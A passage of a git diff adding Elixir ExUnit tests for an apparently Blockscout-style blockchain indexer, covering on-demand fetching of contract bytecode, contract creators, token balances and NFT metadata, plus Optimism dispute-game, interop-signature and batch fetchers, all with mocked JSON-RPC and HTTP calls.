:on_demand) + + address = insert(:address) + address_hash = address.hash + string_address_hash = to_string(address.hash) + + contract_code_hex = "0x6080" + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: id, + jsonrpc: "2.0", + method: "eth_getCode", + params: [^string_address_hash, "latest"] + } + ], + _ -> + {:ok, [%{id: id, result: contract_code_hex}]} + end) + + code = Data.cast(contract_code_hex) |> elem(1) + + assert {:ok, ^code} = ContractCodeOnDemand.get_or_fetch_bytecode(address_hash) + + # DB updated + assert Repo.get(Address, address_hash).contract_code == code + + # No attempts record left + assert is_nil(Repo.get(AddressContractCodeFetchAttempt, address_hash)) + + # Broadcast happened + assert_receive({:chain_event, :fetched_bytecode, :on_demand, [^address_hash, ^contract_code_hex]}) + end + + test "returns :error and increments attempts when RPC returns empty code" do + address = insert(:address) + address_hash = address.hash + string_address_hash = to_string(address.hash) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: id, + jsonrpc: "2.0", + method: "eth_getCode", + params: [^string_address_hash, "latest"] + } + ], + _ -> + {:ok, [%{id: id, result: "0x"}]} + end) + + assert :error = ContractCodeOnDemand.get_or_fetch_bytecode(address_hash) + + # DB not updated, attempts incremented + assert is_nil(Repo.get(Address, address_hash).contract_code) + attempts = Repo.get(AddressContractCodeFetchAttempt, address_hash) + assert attempts.retries_number == 1 + end + + test "returns :error when address is not found" do + # Build a random address hash that is not in DB + {:ok, random_hash} = Hash.Address.cast(<<1::160>>) + assert :error = ContractCodeOnDemand.get_or_fetch_bytecode(random_hash) + end + end +end diff --git a/apps/indexer/test/indexer/fetcher/on_demand/contract_creator_test.exs b/apps/indexer/test/indexer/fetcher/on_demand/contract_creator_test.exs new file mode 100644 index 000000000000..eea538e39961 --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/on_demand/contract_creator_test.exs @@ -0,0 +1,244 @@ +defmodule Indexer.Fetcher.OnDemand.ContractCreatorTest do + use EthereumJSONRPC.Case, async: false + use Explorer.DataCase + + import Mox + + alias Explorer.Chain.Address + alias Explorer.Utility.MissingBlockRange + alias Indexer.Fetcher.OnDemand.ContractCreator, as: ContractCreatorOnDemand + + setup :verify_on_exit! + setup :set_mox_global + + setup do + start_supervised!({Task.Supervisor, name: Indexer.TaskSupervisor}) + start_supervised!({ContractCreatorOnDemand, name: ContractCreatorOnDemand}) + + :ok + end + + describe "start_link/1" do + test "starts the GenServer and initializes the ETS table" do + assert :ets.info(:contract_creator_lookup) != :undefined + end + end + + describe "trigger_fetch/1" do + test "does nothing if the address has no contract code" do + address = %Address{contract_code: nil} + assert :ignore = ContractCreatorOnDemand.trigger_fetch(address) + end + + test "does nothing if the address already has a creator hash from regular transaction" do + contract_address = + insert(:address, contract_code: "0x1234") + + insert(:transaction, %{created_contract_address_hash: contract_address.hash}) + |> with_block() + + assert :ignore = + ContractCreatorOnDemand.trigger_fetch( + contract_address + |> Repo.preload([:contract_creation_transaction]) + ) + end + + test "does nothing if the address already has a creator hash from internal transaction" do + contract_address = + insert(:address, contract_code: "0x1234") + + transaction = + :transaction + |> insert() + |> with_block() + + insert( + :internal_transaction_create, + transaction: transaction, + index: 0, + created_contract_address: contract_address, + created_contract_code: "0x1234", + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index + ) + + assert :ignore = + ContractCreatorOnDemand.trigger_fetch( + contract_address + |> Repo.preload([:contract_creation_internal_transaction]) + ) + end + + test "does nothing if creation transaction block number lookup is in progress" do + contract_address = + insert(:address, contract_code: "0x1234") + + :ets.insert(:contract_creator_lookup, {to_string(contract_address.hash), :in_progress}) + + assert :ignore = + ContractCreatorOnDemand.trigger_fetch( + contract_address + |> Repo.preload([:contract_creation_transaction, :contract_creation_internal_transaction]) + ) + end + + test "does nothing if creation transaction block number lookup, but indexing of corresponding block is not yet started" do + contract_address = + insert(:address, contract_code: "0x1234") + + :ets.insert(:contract_creator_lookup, {to_string(contract_address.hash), 12345}) + + assert :ignore = + ContractCreatorOnDemand.trigger_fetch( + contract_address + |> Repo.preload([:contract_creation_transaction, :contract_creation_internal_transaction]) + ) + end + + test "does nothing if creation transaction block number lookup, but indexing of corresponding block is in progress" do + contract_address = + insert(:address, contract_code: "0x1234") + + :ets.insert(:contract_creator_lookup, {to_string(contract_address.hash), 12345}) + + :ets.insert( + :contract_creator_lookup, + {"pending_blocks", [%{block_number: 12345, address_hash_string: to_string(contract_address.hash)}]} + ) + + assert :ignore = + ContractCreatorOnDemand.trigger_fetch( + contract_address + |> Repo.preload([:contract_creation_transaction, :contract_creation_internal_transaction]) + ) + end + + test "initiates fetch if address has contract code but no creator hash (target block is right from the middle)" do + contract_address = + insert(:address, contract_code: "0x1234") + + now = Timex.now() + + Enum.each(0..4, fn i -> + insert(:block, number: i, timestamp: Timex.shift(now, minutes: -i)) + end) + + Explorer.Chain.Cache.BlockNumber.get_max() + + contract_address_hash = to_string(contract_address.hash) + + EthereumJSONRPC.Mox + |> eth_get_transaction_count_mock(contract_address_hash, "0x2", "0x0") + |> eth_get_transaction_count_mock(contract_address_hash, "0x3", "0x1") + + assert :ok = + ContractCreatorOnDemand.trigger_fetch( + contract_address + |> Repo.preload([:contract_creation_transaction, :contract_creation_internal_transaction]) + ) + + :timer.sleep(100) + + assert :ets.lookup(:contract_creator_lookup, contract_address_hash) == [{contract_address_hash, :in_progress}] + + :timer.sleep(200) + + assert [%{from_number: 3, to_number: 3, priority: 1}] = Repo.all(MissingBlockRange) + + assert :ets.lookup(:contract_creator_lookup, "pending_blocks") == [ + {"pending_blocks", [%{block_number: 3, address_hash_string: contract_address_hash}]} + ] + end + end + + test "initiates fetch if address has contract code but no creator hash (target block is in the middle)" do + contract_address = + insert(:address, contract_code: "0x1234") + + now = Timex.now() + + Enum.each(0..4, fn i -> + insert(:block, number: i, timestamp: Timex.shift(now, minutes: -i)) + end) + + Explorer.Chain.Cache.BlockNumber.get_max() + + contract_address_hash = to_string(contract_address.hash) + + EthereumJSONRPC.Mox + |> eth_get_transaction_count_mock(contract_address_hash, "0x2", "0x1") + |> eth_get_transaction_count_mock(contract_address_hash, "0x1", "0x0") + + assert :ok = + ContractCreatorOnDemand.trigger_fetch( + contract_address + |> Repo.preload([:contract_creation_transaction, :contract_creation_internal_transaction]) + ) + + :timer.sleep(100) + + assert :ets.lookup(:contract_creator_lookup, contract_address_hash) == [{contract_address_hash, :in_progress}] + + :timer.sleep(200) + + assert [%{from_number: 2, to_number: 2, priority: 1}] = Repo.all(MissingBlockRange) + + assert :ets.lookup(:contract_creator_lookup, "pending_blocks") == [ + {"pending_blocks", [%{block_number: 2, address_hash_string: contract_address_hash}]} + ] + end + + test "initiates fetch if address has contract code but no creator hash (target block is left from the middle)" do + contract_address = + insert(:address, contract_code: "0x1234") + + now = Timex.now() + + Enum.each(0..4, fn i -> + insert(:block, number: i, timestamp: Timex.shift(now, minutes: -i)) + end) + + Explorer.Chain.Cache.BlockNumber.get_max() + + contract_address_hash = to_string(contract_address.hash) + + EthereumJSONRPC.Mox + |> eth_get_transaction_count_mock(contract_address_hash, "0x2", "0x1") + |> eth_get_transaction_count_mock(contract_address_hash, "0x1", "0x1") + |> eth_get_transaction_count_mock(contract_address_hash, "0x0", "0x0") + + assert :ok = + ContractCreatorOnDemand.trigger_fetch( + contract_address + |> Repo.preload([:contract_creation_transaction, :contract_creation_internal_transaction]) + ) + + :timer.sleep(100) + + assert :ets.lookup(:contract_creator_lookup, contract_address_hash) == [{contract_address_hash, :in_progress}] + + :timer.sleep(200) + + assert [%{from_number: 1, to_number: 1, priority: 1}] = Repo.all(MissingBlockRange) + + assert :ets.lookup(:contract_creator_lookup, "pending_blocks") == [ + {"pending_blocks", [%{block_number: 1, address_hash_string: contract_address_hash}]} + ] + end + + defp eth_get_transaction_count_mock(mox, contract_address_hash, block_number, nonce) do + mox + |> expect(:json_rpc, fn %{ + id: _id, + jsonrpc: "2.0", + method: "eth_getTransactionCount", + params: [^contract_address_hash, ^block_number] + }, + _ -> + {:ok, nonce} + end) + end +end diff --git a/apps/indexer/test/indexer/fetcher/on_demand/token_balance_test.exs b/apps/indexer/test/indexer/fetcher/on_demand/token_balance_test.exs new file mode 100644 index 000000000000..d1ee6c7c85ee --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/on_demand/token_balance_test.exs @@ -0,0 +1,211 @@ +defmodule Indexer.Fetcher.OnDemand.TokenBalanceTest do + use EthereumJSONRPC.Case, async: false + use Explorer.DataCase + + import Mox + + alias Explorer.Chain.Address.CurrentTokenBalance + alias Explorer.Chain.Address.TokenBalance + alias Explorer.Chain.Events.Subscriber + alias Explorer.Chain.Cache.Counters.AverageBlockTime + alias Indexer.Fetcher.OnDemand.TokenBalance, as: TokenBalanceOnDemand + + setup :set_mox_global + setup :verify_on_exit! + + setup %{json_rpc_named_arguments: json_rpc_named_arguments} do + mocked_json_rpc_named_arguments = Keyword.put(json_rpc_named_arguments, :transport, EthereumJSONRPC.Mox) + + start_supervised!({Task.Supervisor, name: Indexer.TaskSupervisor}) + start_supervised!(AverageBlockTime) + + configuration = Application.get_env(:indexer, TokenBalanceOnDemand.Supervisor) + Application.put_env(:indexer, TokenBalanceOnDemand.Supervisor, disabled?: false) + + Application.put_env(:explorer, AverageBlockTime, enabled: true, cache_period: 1_800_000) + + TokenBalanceOnDemand.Supervisor.Case.start_supervised!(json_rpc_named_arguments: mocked_json_rpc_named_arguments) + + on_exit(fn -> + Application.put_env(:indexer, TokenBalanceOnDemand.Supervisor, configuration) + Application.put_env(:explorer, AverageBlockTime, enabled: false, cache_period: 1_800_000) + end) + + %{json_rpc_named_arguments: mocked_json_rpc_named_arguments} + end + + describe "update behaviour" do + setup do + Subscriber.to(:address_current_token_balances, :on_demand) + Subscriber.to(:address_token_balances, :on_demand) + + now = Timex.now() + + Enum.each(0..101, fn i -> + insert(:block, number: i, timestamp: Timex.shift(now, hours: -(102 - i) * 50)) + end) + + insert(:block, number: 102, timestamp: now) + AverageBlockTime.refresh() + + :ok + end + + test "current token balances are imported and broadcasted for a stale address" do + %{address: address, token_contract_address_hash: token_contract_address_hash} = + insert(:address_current_token_balance, + value_fetched_at: nil, + value: nil, + token_type: "ERC-20", + block_number: 101 + ) + + expect( + EthereumJSONRPC.Mox, + :json_rpc, + fn [%{id: id, method: "eth_call", params: [%{data: _, to: _}, _]}], _options -> + {:ok, + [ + %{ + id: id, + jsonrpc: "2.0", + result: "0x00000000000000000000000000000000000000000000d3c21bcecceda1000000" + } + ]} + end + ) + + TokenBalanceOnDemand.trigger_fetch(address.hash) + + Process.sleep(100) + + [%{value: updated_value} = updated_ctb] = Repo.all(CurrentTokenBalance) + + assert updated_value == Decimal.new(1_000_000_000_000_000_000_000_000) + refute is_nil(updated_ctb.value_fetched_at) + + address_hash = to_string(address.hash) + + assert_receive( + {:chain_event, :address_current_token_balances, :on_demand, + %{ + address_hash: ^address_hash, + address_current_token_balances: [ + %{value: ^updated_value, token_contract_address_hash: ^token_contract_address_hash} + ] + }} + ) + end + + test "historic balances are imported and broadcasted" do + token_balance = insert(:token_balance, value_fetched_at: nil, value: nil, token_type: "ERC-20", block_number: 101) + + expect( + EthereumJSONRPC.Mox, + :json_rpc, + fn [%{id: id, method: "eth_call", params: [%{data: _, to: _}, _]}], _options -> + {:ok, + [ + %{ + id: id, + jsonrpc: "2.0", + result: "0x00000000000000000000000000000000000000000000d3c21bcecceda1000000" + } + ]} + end + ) + + TokenBalanceOnDemand.trigger_historic_fetch( + token_balance.address_hash, + token_balance.token_contract_address_hash, + token_balance.token_type, + token_balance.token_id, + token_balance.block_number + ) + + Process.sleep(100) + + [%{value: updated_value} = updated_tb] = Repo.all(TokenBalance) + + assert updated_value == Decimal.new(1_000_000_000_000_000_000_000_000) + refute is_nil(updated_tb.value_fetched_at) + + address_hash = token_balance.address_hash + token_contract_address_hash = token_balance.token_contract_address_hash + + assert_receive( + {:chain_event, :address_token_balances, :on_demand, + [ + %{ + address_hash: ^address_hash, + token_contract_address_hash: ^token_contract_address_hash, + value: ^updated_value + } + ]} + ) + end + end + + describe "run/2" do + setup do + now = Timex.now() + + Enum.each(0..101, fn i -> + insert(:block, number: i, timestamp: Timex.shift(now, hours: -(102 - i) * 50)) + end) + + insert(:block, number: 102, timestamp: now) + AverageBlockTime.refresh() + + :ok + end + + test "fetches token balance for an address" do + address = insert(:address, hash: "0x3078000000000000000000000000000000000001") + token_contract_address = insert(:address, hash: "0x3078000000000000000000000000000000000002") + + token = + insert(:token, + contract_address_hash: token_contract_address.hash, + contract_address: token_contract_address + ) + + insert(:address_current_token_balance, + address_hash: address.hash, + address: address, + token_contract_address_hash: token_contract_address.hash, + token: token, + token_type: "ERC-20", + value_fetched_at: nil, + value: nil + ) + + insert_list(2, :block) + + expect( + EthereumJSONRPC.Mox, + :json_rpc, + fn [%{id: id, method: "eth_call", params: [%{data: _, to: _}, _]}], _options -> + {:ok, + [ + %{ + id: id, + jsonrpc: "2.0", + result: "0x00000000000000000000000000000000000000000000d3c21bcecceda1000000" + } + ]} + end + ) + + assert TokenBalanceOnDemand.run( + [{:fetch, address.hash}], + nil + ) == :ok + + token_balance_updated = Repo.get_by(CurrentTokenBalance, address_hash: address.hash) + + assert token_balance_updated.value == Decimal.new(1_000_000_000_000_000_000_000_000) + assert token_balance_updated.value_fetched_at != nil + end + end +end diff --git a/apps/indexer/test/indexer/fetcher/on_demand/token_instance_metadata_refetch_test.exs b/apps/indexer/test/indexer/fetcher/on_demand/token_instance_metadata_refetch_test.exs new file mode 100644 index 000000000000..d1323aff1ac6 --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/on_demand/token_instance_metadata_refetch_test.exs @@ -0,0 +1,205 @@ +defmodule Indexer.Fetcher.OnDemand.TokenInstanceMetadataRefetchTest do + use EthereumJSONRPC.Case, async: false + use Explorer.DataCase + + import Mox + + alias Explorer.Chain.Token.Instance, as: TokenInstance + alias Explorer.Chain.Events.Subscriber + alias Explorer.TestHelper + alias Explorer.Utility.TokenInstanceMetadataRefetchAttempt + alias Indexer.Fetcher.OnDemand.TokenInstanceMetadataRefetch, as: TokenInstanceMetadataRefetchOnDemand + + @moduletag :capture_log + + setup :set_mox_global + + setup :verify_on_exit! + + setup %{json_rpc_named_arguments: json_rpc_named_arguments} do + mocked_json_rpc_named_arguments = Keyword.put(json_rpc_named_arguments, :transport, EthereumJSONRPC.Mox) + + start_supervised!({Task.Supervisor, name: Indexer.TaskSupervisor}) + + start_supervised!( + {TokenInstanceMetadataRefetchOnDemand, + [mocked_json_rpc_named_arguments, [name: TokenInstanceMetadataRefetchOnDemand]]} + ) + + %{json_rpc_named_arguments: mocked_json_rpc_named_arguments} + end + + describe "refetch token instance metadata behaviour" do + setup do + Subscriber.to(:fetched_token_instance_metadata, :on_demand) + Subscriber.to(:not_fetched_token_instance_metadata, :on_demand) + + :ok + end + + test "token instance broadcasts fetched token instance metadata" do + token = insert(:token, name: "Super Token", type: "ERC-721") + token_id = 1 + + token_instance = + insert(:token_instance, + token_id: token_id, + token_contract_address_hash: token.contract_address_hash, + metadata: %{} + ) + |> Repo.preload(:token) + + metadata = %{"name" => "Super Token"} + url = "http://metadata.endpoint.com" + token_contract_address_hash_string = to_string(token.contract_address_hash) + + TestHelper.fetch_token_uri_mock(url, token_contract_address_hash_string) + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: ^url}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: Jason.encode!(metadata) + }} + end + ) + + assert TokenInstanceMetadataRefetchOnDemand.trigger_refetch(token_instance) == :ok + + :timer.sleep(100) + + token_instance_from_db = + Repo.get_by(TokenInstance, token_id: token_id, token_contract_address_hash: token.contract_address_hash) + + assert(token_instance_from_db) + refute is_nil(token_instance_from_db.metadata) + assert token_instance_from_db.metadata == metadata + + assert is_nil( + Repo.get_by(TokenInstanceMetadataRefetchAttempt, + token_contract_address_hash: token.contract_address_hash, + token_id: token_id + ) + ) + + assert_receive( + {:chain_event, :fetched_token_instance_metadata, :on_demand, + [^token_contract_address_hash_string, ^token_id, ^metadata]} + ) + end + + test "run the update on the token instance with no metadata fetched initially" do + token = insert(:token, name: "Super Token", type: "ERC-721") + token_id = 1 + + token_instance = + insert(:token_instance, + token_id: token_id, + token_contract_address_hash: token.contract_address_hash, + metadata: nil + ) + |> Repo.preload(:token) + + metadata = %{"name" => "Super Token"} + url = "http://metadata.endpoint.com" + token_contract_address_hash_string = to_string(token.contract_address_hash) + + TestHelper.fetch_token_uri_mock(url, token_contract_address_hash_string) + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: ^url}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: Jason.encode!(metadata) + }} + end + ) + + assert TokenInstanceMetadataRefetchOnDemand.trigger_refetch(token_instance) == :ok + + :timer.sleep(100) + + token_instance_from_db = + Repo.get_by(TokenInstance, token_id: token_id, token_contract_address_hash: token.contract_address_hash) + + assert(token_instance_from_db) + assert token_instance_from_db.metadata == metadata + + assert is_nil( + Repo.get_by(TokenInstanceMetadataRefetchAttempt, + token_contract_address_hash: token.contract_address_hash, + token_id: token_id + ) + ) + + assert_receive( + {:chain_event, :fetched_token_instance_metadata, :on_demand, + [^token_contract_address_hash_string, ^token_id, ^metadata]} + ) + end + + test "updates token_instance_metadata_refetch_attempts table" do + token = insert(:token, name: "Super Token", type: "ERC-721") + token_id = 1 + + token_instance = + insert(:token_instance, + token_id: token_id, + token_contract_address_hash: token.contract_address_hash, + metadata: %{} + ) + |> Repo.preload(:token) + + metadata = %{"name" => "Super Token"} + url = "http://metadata.endpoint.com" + token_contract_address_hash_string = to_string(token.contract_address_hash) + + TestHelper.fetch_token_uri_mock(url, token_contract_address_hash_string) + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: ^url}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: nil + }} + end + ) + + assert TokenInstanceMetadataRefetchOnDemand.trigger_refetch(token_instance) == :ok + + :timer.sleep(100) + + token_instance_from_db = + Repo.get_by(TokenInstance, token_id: token_id, token_contract_address_hash: token.contract_address_hash) + + assert(token_instance_from_db) + refute is_nil(token_instance_from_db.metadata) + + attempts = + Repo.get_by(TokenInstanceMetadataRefetchAttempt, + token_contract_address_hash: token.contract_address_hash, + token_id: token_id + ) + + refute is_nil(attempts) + + assert attempts.retries_number == 1 + + refute_receive( + {:chain_event, :fetched_token_instance_metadata, :on_demand, + [^token_contract_address_hash_string, ^token_id, %{metadata: ^metadata}]} + ) + + assert_receive( + {:chain_event, :not_fetched_token_instance_metadata, :on_demand, + [^token_contract_address_hash_string, ^token_id, "error"]} + ) + end + end +end diff --git a/apps/indexer/test/indexer/fetcher/optimism/dispute_game_test.exs b/apps/indexer/test/indexer/fetcher/optimism/dispute_game_test.exs new file mode 100644 index 000000000000..d2b6581227cd --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/optimism/dispute_game_test.exs @@ -0,0 +1,198 @@ +if Application.get_env(:explorer, :chain_type) == :optimism do + defmodule Indexer.Fetcher.Optimism.DisputeGameTest do + use EthereumJSONRPC.Case, async: false + use Explorer.DataCase + + import Mox + + alias Explorer.Chain.Data + alias Indexer.Fetcher.Optimism.DisputeGame + + setup :verify_on_exit! + + setup %{json_rpc_named_arguments: json_rpc_named_arguments} do + mocked_json_rpc_named_arguments = Keyword.put(json_rpc_named_arguments, :transport, EthereumJSONRPC.Mox) + + %{json_rpc_named_arguments: mocked_json_rpc_named_arguments} + end + + describe "handle_info/2" do + defp mox_handle_continue_calls(%{ + id: id, + method: "eth_call", + params: [ + %{data: data, to: _}, + _ + ] + }) + when data in ~w(0x3c9f397c 0x19effeb4 0x200d2ed2), + do: %{id: id, jsonrpc: "2.0", result: "0x0"} + + defp mox_handle_continue_calls(%{ + id: id, + method: "eth_call", + params: [ + %{ + data: %Data{bytes: <<187, 138, 161, 252, index::integer-256>>}, + to: "0x3078000000000000000000000000000000000001" + }, + _ + ] + }) do + %{ + id: id, + jsonrpc: "2.0", + result: + "0x" <> + (ABI.encode("(uint32,uint64,address)", [ + {1, index + 1_740_000_000, 0x3078A00000000000000000000000000000000000 + index} + ]) + |> Base.encode16(case: :lower)) + } + end + + defp mox_handle_continue_calls(%{ + id: id, + method: "eth_call", + params: [ + %{data: "0x609d3334", to: "0x3078a0000000000000000000000000000000000" <> index}, + _ + ] + }) do + {index, ""} = Integer.parse(index) + + %{ + id: id, + jsonrpc: "2.0", + result: + "0x" <> + (ABI.TypeEncoder.encode([4, <<46 + index, 120, 32, 32 + index>>], [:bytes]) + |> Base.encode16(case: :lower)) + } + end + + defp mox_handle_continue_calls(%{ + id: id, + method: "eth_call", + params: [ + %{ + data: "0x609d3334", + to: %Explorer.Chain.Hash{ + byte_count: 20, + bytes: <<48, 120, 160, 0::128, index>> + } + }, + _ + ] + }) do + %{ + id: id, + jsonrpc: "2.0", + result: + "0x" <> + (ABI.TypeEncoder.encode([<<46 + index, 120, 32, 32 + index>>], [:bytes]) |> Base.encode16(case: :lower)) + } + end + + defp mox_handle_continue_calls(%{ + id: id, + method: "eth_call", + params: [ + %{data: "0x4d1975b4", to: _}, + _ + ] + }) do + %{id: id, jsonrpc: "2.0", result: "0x5"} + end + + test "handles :continue", %{json_rpc_named_arguments: json_rpc_named_arguments} do + old_env = Application.get_env(:indexer, DisputeGame, []) + + Application.put_env( + :indexer, + DisputeGame, + Keyword.merge(old_env, json_rpc_named_arguments: json_rpc_named_arguments) + ) + + on_exit(fn -> + Application.put_env(:indexer, DisputeGame, old_env) + end) + + expect( + EthereumJSONRPC.Mox, + :json_rpc, + 8, + fn + requests, _options when is_list(requests) -> + {:ok, Enum.map(requests, &mox_handle_continue_calls/1)} + + request, _options -> + {:ok, mox_handle_continue_calls(request).result} + end + ) + + assert {:noreply, + %{ + optimism_portal: "0x3078000000000000000000000000000000000002", + dispute_game_factory: "0x3078000000000000000000000000000000000001", + end_index: 4, + start_index: 4 + }} = + DisputeGame.handle_info(:continue, %{ + dispute_game_factory: "0x3078000000000000000000000000000000000001", + optimism_portal: "0x3078000000000000000000000000000000000002", + start_index: 0, + end_index: 3, + json_rpc_named_arguments: json_rpc_named_arguments + }) + + assert [ + %Explorer.Chain.Optimism.DisputeGame{ + index: 0, + game_type: 1, + address_hash: %Explorer.Chain.Hash{ + byte_count: 20, + bytes: <<48, 120, 160, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0>> + }, + extra_data: %Explorer.Chain.Data{bytes: ".x "}, + resolved_at: nil, + status: 0 + }, + %Explorer.Chain.Optimism.DisputeGame{ + index: 1, + game_type: 1, + address_hash: %Explorer.Chain.Hash{ + byte_count: 20, + bytes: <<48, 120, 160, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1>> + }, + extra_data: %Explorer.Chain.Data{bytes: "/x !"}, + resolved_at: nil, + status: 0 + }, + %Explorer.Chain.Optimism.DisputeGame{ + index: 2, + game_type: 1, + address_hash: %Explorer.Chain.Hash{ + byte_count: 20, + bytes: <<48, 120, 160, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2>> + }, + extra_data: %Explorer.Chain.Data{bytes: "0x \""}, + resolved_at: nil, + status: 0 + }, + %Explorer.Chain.Optimism.DisputeGame{ + index: 3, + game_type: 1, + address_hash: %Explorer.Chain.Hash{ + byte_count: 20, + bytes: <<48, 120, 160, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3>> + }, + extra_data: %Explorer.Chain.Data{bytes: "1x #"}, + resolved_at: nil, + status: 0 + } + ] = Repo.all(Explorer.Chain.Optimism.DisputeGame) + end + end + end +end diff --git a/apps/indexer/test/indexer/fetcher/optimism/interop/message_queue_test.exs b/apps/indexer/test/indexer/fetcher/optimism/interop/message_queue_test.exs new file mode 100644 index 000000000000..d835b41d3fee --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/optimism/interop/message_queue_test.exs @@ -0,0 +1,36 @@ +defmodule Indexer.Fetcher.Optimism.Interop.MessageQueueTest do + use EthereumJSONRPC.Case + use Explorer.DataCase + + alias Indexer.Fetcher.Optimism.Interop.MessageQueue + + describe "set_post_data_signature/3" do + test "handles signature starting with 0x properly" do + message_nonce = 1 + init_chain_id = 2 + relay_chain_id = 3 + relay_transaction_hash = "0xf463ce43ac52251f60f437a0346b7168874e6eb13a9689d7efde4ce907826897" + message_failed = false + + data_to_sign = + Integer.to_string(message_nonce) <> + Integer.to_string(init_chain_id) <> + Integer.to_string(relay_chain_id) <> relay_transaction_hash <> to_string(message_failed) + + private_key = + <<51, 169, 186, 160, 251, 109, 12, 35, 225, 13, 110, 62, 216, 253, 27, 181, 187, 222, 222, 75, 79, 84, 185, 24, + 245, 213, 28, 21, 76, 179, 162, 16>> + + {:ok, {signature, _}} = + data_to_sign + |> ExKeccak.hash_256() + |> ExSecp256k1.sign_compact(private_key) + + assert {^init_chain_id, + %{ + signature: + "0x3078a19168c4ab6d5aebcb8556d4c6bdf2df53e8b4562f6974ccfaea60639ae13437ee19c4bd7328a5d8451e1c11075d1581e0abf4e470c97d7a89b20e4c68d9" + }} = MessageQueue.set_post_data_signature(init_chain_id, %{signature: nil}, signature) + end + end +end diff --git a/apps/indexer/test/indexer/fetcher/optimism/transaction_batch_test.exs b/apps/indexer/test/indexer/fetcher/optimism/transaction_batch_test.exs new file mode 100644 index 000000000000..fd13ad80dc5b --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/optimism/transaction_batch_test.exs @@ -0,0 +1,72 @@ +if Application.get_env(:explorer, :chain_type) == :optimism do + defmodule Indexer.Fetcher.Optimism.TransactionBatchTest do + use EthereumJSONRPC.Case, async: false + use Explorer.DataCase + + import Mox + + alias Indexer.Fetcher.Optimism.TransactionBatch + + setup %{json_rpc_named_arguments: json_rpc_named_arguments} do + mocked_json_rpc_named_arguments = Keyword.put(json_rpc_named_arguments, :transport, EthereumJSONRPC.Mox) + + %{json_rpc_named_arguments: mocked_json_rpc_named_arguments} + end + + describe "get_block_numbers_by_hashes/2" do + test "processes empty list" do + assert TransactionBatch.get_block_numbers_by_hashes([], %{}) == %{} + end + + test "processes list of hashes", %{json_rpc_named_arguments: json_rpc_named_arguments} do + hashA = <<1::256>> + + hashB = + <<48, 120, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, + 32, 32, 32, 32, 32>> + + hashes = [ + hashA, + hashB + ] + + expect(EthereumJSONRPC.Mox, :json_rpc, 1, fn [ + %{ + id: id1, + method: "eth_getBlockByHash", + params: [ + %Explorer.Chain.Hash{byte_count: 32, bytes: hashA}, + false + ] + }, + %{ + id: id2, + method: "eth_getBlockByHash", + params: [ + %Explorer.Chain.Hash{byte_count: 32, bytes: hashB}, + false + ] + } + ], + _options -> + {:ok, + [ + %{ + id: id1, + jsonrpc: "2.0", + result: %{"number" => 1, "hash" => "0x0000000000000000000000000000000000000000000000000000000000000001"} + }, + %{ + id: id2, + jsonrpc: "2.0", + result: %{"number" => 2, "hash" => "0x3078202020202020202020202020202020202020202020202020202020202020"} + } + ]} + end) + + assert %{hashA => 1, hashB => 2} == + TransactionBatch.get_block_numbers_by_hashes(hashes, json_rpc_named_arguments) + end + end + end +end diff --git a/apps/indexer/test/indexer/fetcher/pending_block_operations_sanitizer_test.exs b/apps/indexer/test/indexer/fetcher/pending_block_operations_sanitizer_test.exs new file mode 100644 index 000000000000..a3d9e41fdb3b --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/pending_block_operations_sanitizer_test.exs @@ -0,0 +1,31 @@ +defmodule Indexer.Fetcher.PendingBlockOperationsSanitizerTest do + use Explorer.DataCase, async: false + + alias Explorer.Repo + alias Indexer.Fetcher.PendingBlockOperationsSanitizer + + setup do + config = Application.get_env(:indexer, Indexer.Fetcher.InternalTransaction.Supervisor) + + Application.put_env(:indexer, Indexer.Fetcher.InternalTransaction.Supervisor, disabled?: true) + + on_exit(fn -> + Application.put_env(:indexer, Indexer.Fetcher.InternalTransaction.Supervisor, config) + end) + end + + test "updates empty block_numbers" do + %{number: block_number1, hash: hash1} = insert(:block) + %{number: block_number2, hash: hash2} = insert(:block) + %{number: block_number3, hash: hash3} = insert(:block) + pending_block_operation1 = insert(:pending_block_operation, block_hash: hash1) + pending_block_operation2 = insert(:pending_block_operation, block_hash: hash2) + pending_block_operation3 = insert(:pending_block_operation, block_hash: hash3) + + PendingBlockOperationsSanitizer.update_batch() + + assert %{block_number: ^block_number1} = Repo.reload(pending_block_operation1) + assert %{block_number: ^block_number2} = Repo.reload(pending_block_operation2) + assert %{block_number: ^block_number3} = Repo.reload(pending_block_operation3) + end +end diff --git a/apps/indexer/test/indexer/fetcher/replaced_transaction_test.exs b/apps/indexer/test/indexer/fetcher/replaced_transaction_test.exs index ab3da8d1e6af..ea4ac2d2194c 100644 --- a/apps/indexer/test/indexer/fetcher/replaced_transaction_test.exs +++ b/apps/indexer/test/indexer/fetcher/replaced_transaction_test.exs @@ -71,13 +71,16 @@ defmodule Indexer.Fetcher.ReplacedTransactionTest do ReplacedTransaction.Supervisor.Case.start_supervised!() assert :ok = - ReplacedTransaction.async_fetch([ - %{ - block_hash: mined_transaction.block_hash, - nonce: mined_transaction.nonce, - from_address_hash: mined_transaction.from_address_hash - } - ]) + ReplacedTransaction.async_fetch( + [ + %{ + block_hash: mined_transaction.block_hash, + nonce: mined_transaction.nonce, + from_address_hash: mined_transaction.from_address_hash + } + ], + false + ) found_replaced_transaction = wait(fn -> diff --git 